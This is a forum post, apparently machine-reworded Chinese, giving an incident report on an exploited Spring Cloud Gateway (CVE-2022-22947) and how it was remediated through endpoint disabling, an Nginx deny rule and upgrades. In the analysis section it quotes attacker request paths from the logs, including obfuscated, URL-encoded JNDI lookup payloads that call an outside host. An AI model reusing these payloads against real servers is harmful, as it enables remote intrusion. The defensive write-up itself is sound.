gateway弊端(CVE-2022-22947)

[复制链接]
发表于 2024-11-22 07:40:52 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有账号?立即注册

×
一、线上异常

   

   
    形貌:

    早上被电话吵醒,线上情况出现Bug,很多接口请求都失败了,绕开网关请求各个微服务都是正常的,颠末网关就异常了,观察到页面上接口路径都被莫名其妙的改了,去看日记发现网关出现了 Cannot fetch registry from server reactor.core.Exceptions$ErrorCallbackNotImplemented: java.lang.IndexOutOfBoundsException: Index: 0, Size: 0 。
   
    二、处理惩罚

    ①快速保存k8s日记、pod日记、pod容器备份文件夹下,保留现场

    ②赶紧重启网关工作负载

   
    三、分析

    分析nginx、网关日记,收集到几个异常路径信息,看来是被搞了
         
/management/gateway/routes/hacktest
/management/gateway/Opd
/management/VU

/management/gateway/OPd?%B2%E9%BF%B4=$%7b:-y$%7d%7b$%7b6pr:-j%7dnd$%7benv:fm4:-%7di:d$%7bxyf::-n%7ds://log4sports.sztyzx.1729020766114.aotX.null/a%7d

/management/VU?%B2%E9%BF%B4=$%7b:-y$%7d%7b$%7b6pr:-j%7dnd$%7benv:fm4:-%7di:d$%7bxyf::-n%7ds://log4sports.sztyzx.1729020770655.bCwj.null/a%7d
        表明在尝试访问一个空的列表时发生了越界异常。这通常发生在尝试获取路由定义中的谓词(predicates)时,但该列表为空。
    以下是一些可能的办理方案:
   

  • 查抄路由设置:确保您的Spring Cloud Gateway路由设置中的predicates部分没有遗漏。每个路由定义都需要至少一个谓词。如果您的设置文件中有任何路由缺少谓词,这可能是导致题目标缘故因由。
  • 动态路由题目:如果您使用的是动态路由(例如,通过Actuator端点动态添加或删除路由),确保这些路由精确设置了谓词。如果动态添加的路由没有精确的谓词,也可能导致这个错误。
  • 升级Spring Cloud Gateway:如果您使用的是较旧版本的Spring Cloud Gateway,可能存在已知的弊端或错误。考虑升级到最新的安全版本,例如3.1.x或3.0.x的最新补丁版本
  • 异常处理惩罚:在Reactor中,当发生异常时,可以通过在subscribe方法中指定onError处理惩罚步伐来处理惩罚异常。这样可以制止ErrorCallbackNotImplemented异常。
  • Nginx设置:作为一种暂时办理方案,您可以通过Nginx设置来拦截可能导致题目标路径。例如,可以在Nginx设置文件中添加以下内容来返回404错误,从而制止请求到达后端服务:
         

location /(actuator|management) {
    return 403;
}
        然后重新加载Nginx设置。
   

  • 日记过滤:如果某些错误日记不是您当前关注的重点,可以通过日记过滤来减少这些日记的干扰。例如,使用Logback时,可以设置EvaluatorFilter来过滤掉包罗特定文本的消息。
   
    四、后续办理

   
    ①在不影响现有业务下
         

management.endpoint.gateway.enabled=false
        ②Nginx谁人设置会影响到现有业务,方案否决
   
    ②后续升级gateway网关,查抄升级后框架依靠、业务底代码是否有题目
         

spring-cloud-gateway-core && spring-boot-starter-gateway升级到 3.1.1+ 版本, 3.0.7+ 版本可以办理

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
继续阅读请点击广告
回复

使用道具 举报

© 2001-2025 Discuz! Team. Powered by Discuz! X3.5

GMT+8, 2025-7-12 23:29 , Processed in 0.075119 second(s), 29 queries 手机版|qidao123.com技术社区-IT企服评测▪应用市场 ( 浙ICP备20004199 )|网站地图

快速回复 返回顶部 返回列表